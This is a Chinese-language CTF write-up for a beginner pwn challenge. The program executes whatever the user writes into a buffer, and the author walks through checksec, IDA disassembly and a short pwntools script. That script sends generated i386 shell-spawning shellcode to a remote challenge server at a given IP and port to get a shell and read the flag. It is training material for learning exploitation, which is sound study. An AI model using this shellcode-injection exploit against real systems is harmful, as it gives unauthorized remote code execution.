通过用shellcode获取shell
通过用shellcode获取shell
题目来源 |
---|
题目要求:用pwntools生成shellcode进而获取shell权限夺得flag |
题目解题大概思路
下载题目文件
在终端运行程序,查看题目文件类型和保护机制
用对应位数的IDA来打开题目文件
看题目的条件和内容
写python文件
运行python文件得到flag
1.终端运行程序,查看题目文件类型和保护机制
运行文件(好像不能输入数据)
度娘一下: 出现段错误简单来说就是访问到了不该访问的内存 这些内存不属于用户态的权限范围
查看文件(checksec保护机制)
2.反汇编分析
把程序拉IDA里面分析,F5一键反汇编
程序先输出“input your shellcode”(应该就是我们运行文件里面那一句)
然后调用read函数
这里是我们可以调用read函数向buf里面写入东西
最后一行 ((void (*)(void))buf)()就是调用了buf的函数(一开始没有认真看这一行导致没有做题的思路)
也就是我们把shellcode写进buf中,程序就会调用我们所写的shellcode
3.编写脚本
要远程攻击服务器,要有相应的ip和端口(可以先进行本地攻击)
编写脚本(还不熟悉,就照葫芦画瓢地打)
#-*- coding: utf-8 -*-
#说明Python源程序文件用使用的编码类型改为UTF-8的类型
from pwn import *
#导入pwntools
context(log_level='debug',os='linux',arch='i386')
p = process("./shellcode")
#载入程序
p = remote("49.234.71.236",28228)
#链接远程服务器
shellcode = asm(shellcraft.i386.linux.sh())
#生成shellcode
p.recvuntil("shellcode\n")
#接收程序显示出来的字符串,直至运行到read函数
p.sendline(shellcode)
#向程序输入一行数据(shellcode)
p.interactive()
#将程序控制权交给用户,相当于自用运行
4.运行脚本
在终端用python运行我们写好的脚本
获取了shell的权限后,用ls列出所有目录,再用cat flag来夺旗
把flag输入,就成功了,感动QAQ
总结
1.checksec保护机制
2.用pwntools生成shellcode
3.read函数可以为我们往buf写入数据,同时运行了buf,我们把shellcode写进buf,程序会帮我们调用shellcode
4.对recvuntil函数的使用
5.用remote函数链接远端服务器
上一篇: 利用xor给shellcode加壳
下一篇: 2019CISCN华南赛区半决赛 pwn
推荐阅读
-
获取服务器信息的Shell脚本分享(ubuntu、centos测试通过)
-
linux shell通过curl获取HTTP请求的状态码
-
shell脚本:通过域名获取证书的过期时间
-
vbs下用Shell.Application获取图片分辨率
-
Shell eval通过变量获取环境变量的方法实现
-
android 10 通过shell 权限获取imei ,imsi ,iccid等
-
获取服务器信息的Shell脚本分享(ubuntu、centos测试通过)
-
shell脚本:通过域名获取证书的过期时间
-
通过express框架用node.js搭建本地服务器,模拟请求接口,获取json数据
-
通过keytool获取key发布版、开发版SHA1,用jarsigner工具进行签名